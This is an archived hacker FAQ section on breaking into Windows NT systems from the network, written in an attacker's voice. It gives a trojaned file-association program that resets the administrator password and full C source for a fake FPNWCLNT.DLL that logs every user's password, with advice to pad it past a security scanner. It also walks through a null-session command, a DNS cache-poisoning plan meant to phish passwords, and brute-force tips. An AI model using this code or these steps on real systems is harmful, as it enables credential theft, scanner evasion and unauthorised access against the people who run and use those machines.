home *** CD-ROM | disk | FTP | other *** search
/ WINMX Assorted Textfiles / Ebooks.tar / Text - Tech - OS - NT - security guide 05.txt < prev    next >
Text File  |  2003-09-27  |  15KB  |  294 lines

  1. NT security guideSection 05
  2. From the Network
  3.  
  4. 05-1. Should I even try for local administrator access?
  5. 05-2. I have guest remote access. How can I get administrator access?
  6. 05-3. What about %systemroot%\system32 being writeable?
  7. 05-4. What if the permissions are restricted on the server?
  8. 05-5. What exactly does the NetBios Auditing Tool do?
  9. 05-6. What is the "Red Button" bug?
  10. 05-7. What about forging DNS packets for subversive purposes?
  11. 05-8. What about shares?
  12. 05-9. How do I get around a packet filter-based firewall?
  13.  
  14.  
  15.  
  16. 05-1. Should I even try for local administrator access?
  17. Oh yes. A lot of NT administrators do not understand that when an NT box joins a 
  18. domain, if they left that administrator password blank, it doesn't get "filled 
  19. in" or "overwritten". Belonging to a domain does NOT turn off local users. 
  20. If you get local administrator, check out the exploit code in section 05-3 to 
  21. get more access elsewhere. 
  22. If you gain local administrator, try some of these tricks (these will work with 
  23. the default settings after installation on the target): 
  24.   NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after) 
  25.   Add the machine name this returns to your LMHOSTS file. 
  26.   If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the NetBios 
  27.   names. 
  28.   Try NET VIEW \\machinename to see the shares 
  29.   Try DIR \\machinename\share to list shares if open 
  30.   Try NET VIEW \\ipaddress or NET VIEW \\fully.qualified.name.com, which should 
  31.   get you the user names under NT 4.0. 
  32.  
  33.  
  34.  
  35. 05-2. I have guest remote access. How can I get administrator access?
  36. Basic NT 3.51 has some stuff read/writeable by default. You could edit the 
  37. association between an application and the data file extension using regedt32. 
  38. First off, you should write a Win32 app that does nothing but the following - 
  39.  
  40.         net user administrator biteme /y
  41.         notepad %1 %2 %3 %4 %5 
  42. In a share you have read/write access to, upload it. Now change the association 
  43. between .txt files and notepad to point to the location of the uploaded file, 
  44. like \\ThisWorkstation\RWShare\badboy.exe. 
  45. Now wait for the administrator to launch a text file by double clicking on it, 
  46. and the password becomes "biteme". 
  47. Of course, if the Sys Admin is smart they will have removed write permission 
  48. from Everyone for HKEY_CLASSES_ROOT, only giving out full access to 
  49. creator\owner. 
  50. If the system is 4.0, see section 04-5 regarding the use of GetAdmin.exe. 
  51.  
  52.  
  53.  
  54. 05-3. What about %systemroot%\system32 being writeable?
  55. Well, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT.DLL in that 
  56. directory. This file typically exists in a Netware environment. First compile 
  57. this exploit code written by Jeremy Allison (jra@cygnus.com) and call the 
  58. resulting file FPNWCLNT.DLL. Now wait for the user names and passwords to get 
  59. written to a file in \temp. 
  60.  
  61. ------------- cut --------------
  62. #include <windows.h>
  63. #include <stdio.h>
  64. #include <stdlib.h>
  65.  
  66. struct UNI_STRING {
  67.   USHORT len;
  68.   USHORT maxlen;
  69.   WCHAR *buff;
  70.   };
  71.  
  72. static HANDLE fh;
  73.  
  74. BOOLEAN __stdcall InitializeChangeNotify ()
  75. {
  76.   DWORD wrote;
  77.   fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE,
  78.     FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
  79.     FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
  80.     0);
  81.   WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
  82.   return TRUE;
  83. }
  84.  
  85. LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
  86.   struct UNI_STRING *passwd)
  87. {
  88.   DWORD wrote;
  89.   WCHAR wbuf[200];
  90.   char buf[512];
  91.   char buf1[200];
  92.   DWORD len;
  93.  
  94.   memcpy(wbuf, user->buff, user->len);
  95.   len = user->len/sizeof(WCHAR);
  96.   wbuf[len] = 0;
  97.   wcstombs(buf1, wbuf, 199);
  98.   sprintf(buf, "User = %s : ", buf1);
  99.   WriteFile(fh, buf, strlen(buf), &wrote, 0);
  100.  
  101.   memcpy(wbuf, passwd->buff, passwd->len);
  102.   len = passwd->len/sizeof(WCHAR);
  103.   wbuf[len] = 0;
  104.   wcstombs(buf1, wbuf, 199);
  105.   sprintf(buf, "Password = %s : ", buf1);
  106.   WriteFile(fh, buf, strlen(buf), &wrote, 0);
  107.  
  108.   sprintf(buf, "RID = %x\n", rid);
  109.   WriteFile(fh, buf, strlen(buf), &wrote, 0);
  110.  
  111.   return 0L;
  112. }
  113. ------------- cut --------------
  114. If you load this on a Primary Domain Controller, you'll get EVERYBODY'S 
  115. password. You have to reboot the server after placing the trojan in 
  116. %systemroot%\system32. 
  117. ISS (www.iss.net) has a security scanner for NT which will detect the trojan 
  118. DLL, so you may wish to consider adding in extra junk to the above code to make 
  119. the size of the compiled DLL match what the original was. This will prevent the 
  120. current shipping version of ISS's NT scanner from picking up the trojan. 
  121. It should be noted that by default the group Everyone has default permissions of 
  122. "Change" in %systemroot\system32, so any DLL that is not in use by the system 
  123. could be replaced with a trojan DLL that does something else. 
  124.  
  125.  
  126.  
  127. 05-4. What if the permissions are restricted on the server?
  128. By default the NT administrator account does not have a lockout feature like 
  129. normal users accounts, to prevent a denial-of-service attack on the 
  130. administrator account. Since failed logins are not logged by default, you could 
  131. possibly gain administrator access by sheer brute force. 
  132. If the Sys Admin runs passprop.exe they can turn on the lockout feature of 
  133. Administrator. 
  134.  
  135.  
  136.  
  137. 05-5. What exactly does the NetBios Auditing Tool do?
  138. Developed by Secure Networks Inc., it comes in pre-compiled Win32 binary form as 
  139. well as the complete source code. It is the "SATAN" of NetBios based systems. 
  140. Here is a quote from Secure Networks Inc about the product - 
  141. "The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS file-sharing 
  142. services offered by the target system. It implements a stepwise approach to 
  143. gather information and attempt to obtain file system-level access as though it 
  144. were a legitimate local client. 
  145. "The major steps are as follows: 
  146. "A UDP status query is sent to the target, which usually elicits a reply 
  147. containing the Netbios 'computer name'. This is needed to establish a session. 
  148. The reply also can contain other information such as the workgroup and account 
  149. names of the machine's users. This part of the program needs root privilege to 
  150. listen for replies on UDP port 137, since the reply is usually sent back to UDP 
  151. port 137 even if the original query came from some different port. 
  152. "TCP connections are made to the target's Netbios port [139], and session 
  153. requests using the derived computer name are sent across. Various guesses at the 
  154. computer name are also used, in case the status query failed or returned 
  155. incomplete information. If all such attempts to establish a session fail, the 
  156. host is assumed invulnerable to NETBIOS attacks even if TCP port 139 was 
  157. reachable. 
  158. "Provided a connection is established Netbios 'protocol levels' are now 
  159. negotiated across the new connection. This establishes various modes and 
  160. capabilities the client and server can use with each other, such as password 
  161. encryption and if the server uses user-level or share-level Security. The usable 
  162. protocol level is deliberately limited to LANMAN version 2 in this case, since 
  163. that protocol is somewhat simpler and uses a smaller password keyspace than NT. 
  164. "If the server requires further session setup to establish credentials, various 
  165. defaults are attempted. Completely blank usernames and passwords are often 
  166. allowed to set up 'guest' connections to a server; if this fails then guesses 
  167. are tried using fairly standard account names such as ADMINISTRATOR, and some of 
  168. the names returned from the status query. Extensive username/password checking 
  169. is NOT done at this point, since the aim is just to get the session established, 
  170. but it should be noted that if this phase is reached at all MANY more guesses 
  171. can be attempted and likely without the owner of the target being immediately 
  172. aware of it. 
  173. "Once the session is fully set up, transactions are performed to collect more 
  174. information about the server including any file system 'shares' it offers. 
  175. "Attempts are then made to connect to all listed file system shares and some 
  176. potentially unlisted ones. If the server requires passwords for the shares, 
  177. defaults are attempted as described above for session setup. Any successful 
  178. connections are then explored for writeability and some well-known file-naming 
  179. problems [the ".." class of bugs]. 
  180. "If a NETBIOS session can be established at all via TCP port 139, the target is 
  181. declared "vulnerable" with the remaining question being to what extent. 
  182. Information is collected under the appropriate vulnerability at most of these 
  183. steps, since any point along the way be blocked by the Security configurations 
  184. of the target. Most Microsoft-OS based servers and Unix SAMBA will yield 
  185. computer names and share lists, but not allow actual file-sharing connections 
  186. without a valid username and/or password. A remote connection to a share is 
  187. therefore a possibly serious Security problem, and a connection that allows 
  188. WRITING to the share almost certainly so. Printer and other 'device' services 
  189. offered by the server are currently ignored." 
  190. If you need more info on NAT, try looking at this web location: 
  191.     http://www.secnet.com/ntinfo/ntaudit.html
  192.  
  193.  
  194.  
  195. 05-6. What is the "Red Button" bug?
  196. MWC has released an exploit that allows the following to occur -- the registry 
  197. of a remote machine can be accessed, a list of users AND of shares can be 
  198. obtained, even if the intruder hasn't logged in. 
  199. There is a built in user called "anonymous" that is usually used for 
  200. communication between machines. This exploit takes advantage of the fact that 
  201. anonymous is a member of the group Everyone. Because of this, the following can 
  202. be done: 
  203.   Any share that can be accessed by Everyone is vulnerable. 
  204.   System and application logs can be read. 
  205.   Any NT machine with NetBios bound to the network can have its registry read or 
  206.   written to if Everyone has that access. 
  207.   Using Lan Manager calls can give a list of all users, the Administrator (if 
  208.   renamed), and a list of all shares. 
  209. Using this access a trojan could be loaded, since often the group Everyone has 
  210. access to application software (see sections 05-2 and 05-3 for ideas here). 
  211. It is possible that a Sys Admin could have unbound NetBios from the interface. 
  212. This would disallow some access. Typically at a security aware site you would 
  213. find the machines outside the firewall, like the Web server or FTP server 
  214. configured this way (and all other access blocked by the firewall. However if 
  215. you compromise the machine this could be a handy partial backdoor -- especially 
  216. if you are using one machine as a "drop" during an attack. 
  217. The bug can manually be done -- no exploit code needed. Try this from a 4.00 
  218. workstation: 
  219.  
  220.     net use \\targetserver\ipc$ "" /user:""
  221. Now run User Manager, Event Viewer, Registry Editor, or simply use the net 
  222. command to target the remote machine. 
  223. The administrator account's SID always ends in -500 (Guest is -501) so find that 
  224. and you have the administrator account, even if renamed. The built-in local 
  225. groups (documented and undocumented) always have the same SID, so check out your 
  226. own machine first and compare -- especially if some of these have been renamed. 
  227. If all the users are moved from the Everyone group, you not be able to exploit 
  228. this. For you admins out there, ISS has released a tool to automate this "move 
  229. users out of Everyone" process. And admins you should check and see what shares 
  230. that Everyone can get to. 
  231. MWC's web site is http://www.ntsecurity.com, and the exploit code can be found 
  232. there. 
  233. ISS's tool can be found at ftp://ftp.iss.net/everyone2users.exe. 
  234.  
  235.  
  236.  
  237. 05-7. What about forging DNS packets for subversive purposes?
  238. Sure. ;-) 
  239. By forging UDP packets, NT name server caches can be compromised. If recursion 
  240. is allowed on the name server, you can do some nasty things. Recursion is when a 
  241. server receives a name server lookup request for a zone or domain for which is 
  242. does not serve. This is typical how most setups for DNS are done. 
  243. So how do we do it? We will use the following example: 
  244. We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org with an 
  245. address of 10.10.10.2, and bait.nmrc.org with an address of 10.10.10.3. Our 
  246. mission? Make the users at lame.com access pirate.nmrc.org when they try to 
  247. access www.lamer.net. 
  248. Okay, assume automation is at work here to make the attack smoother... 
  249.   DNS query is sent to ns.lame.com asking for address of bait.nmrc.org. 
  250.   ns.lame.com asks ns.nmrc.org what the address is. 
  251.   The request is sniffed, and the query ID number is obtained from the request 
  252.   packet. 
  253.   DNS query is sent to ns.lame.com asking for the address of www.lamer.net. 
  254.   Since we know the previous query ID number, chances are the next query ID 
  255.   number will be close to that number. 
  256.   We send spoofed DNS replies with several different query ID numbers. These 
  257.   replies are spoofed to appear to come from ns.lamer.net, and state that its 
  258.   address is 10.10.10.2. 
  259.   pirate.nmrc.org is set up to look like www.lamer.net, except maybe it has a 
  260.   notice to "go to the new password page and set up an account and ID". Odds are 
  261.   this new password is used by that lame.com user somewhere else... 
  262. With a little creativity, you can also do other exciting things like reroute 
  263. (and make copies of) email, denial of service (tell lame.com that www.lamer.net 
  264. doesn't exist anymore), and other fun things. 
  265. Supposedly Service Pack 3 fixes this. 
  266.  
  267.  
  268.  
  269. 05-8. What about shares?
  270. The main thing to realize about shares is that there are a few that are 
  271. invisible. Administrative shares are default accounts that cannot be removed. 
  272. They have a $ at the end of their name. For example C$ is the administrative 
  273. share for the C: partition, D$ is the administrative share for the D: partition. 
  274. WINNT$ is the root directory of the system files. 
  275. By default since logging is not enabled on failed attempts and the administrator 
  276. doesn't get locked out from false attempts, you can try and try different 
  277. passwords for the administrator account. You could also try a dictionary attack. 
  278. Once in, you can get at basically anything. 
  279.  
  280.  
  281.  
  282. 05-9. How do I get around a packet filter-based firewall?
  283. If the target NT box is behind a firewall that is doing packet filtering (which 
  284. is not considered firewalling by many folks) and it does not have SP3 loaded it 
  285. is possible to send it packets anyway. This involves sending decoy IP packet 
  286. fragments with specially crafted headers that will be "reused" by the malicious 
  287. IP packet fragments. This is due to a problem with the way NT's TCP/IP stack 
  288. handles reassembling fragmented packets. As odd as this sounds, example code 
  289. exists to prove it works. See the web page at http://www.dataprotect.com/ntfrag 
  290. for details. 
  291. How does it bypass the packet filter? Typically packet filtering only drops the 
  292. fragmented packet with the offset of zero in the header. The example source 
  293. forges the headers to get around this, and NT happily reassembles what does 
  294. arrive.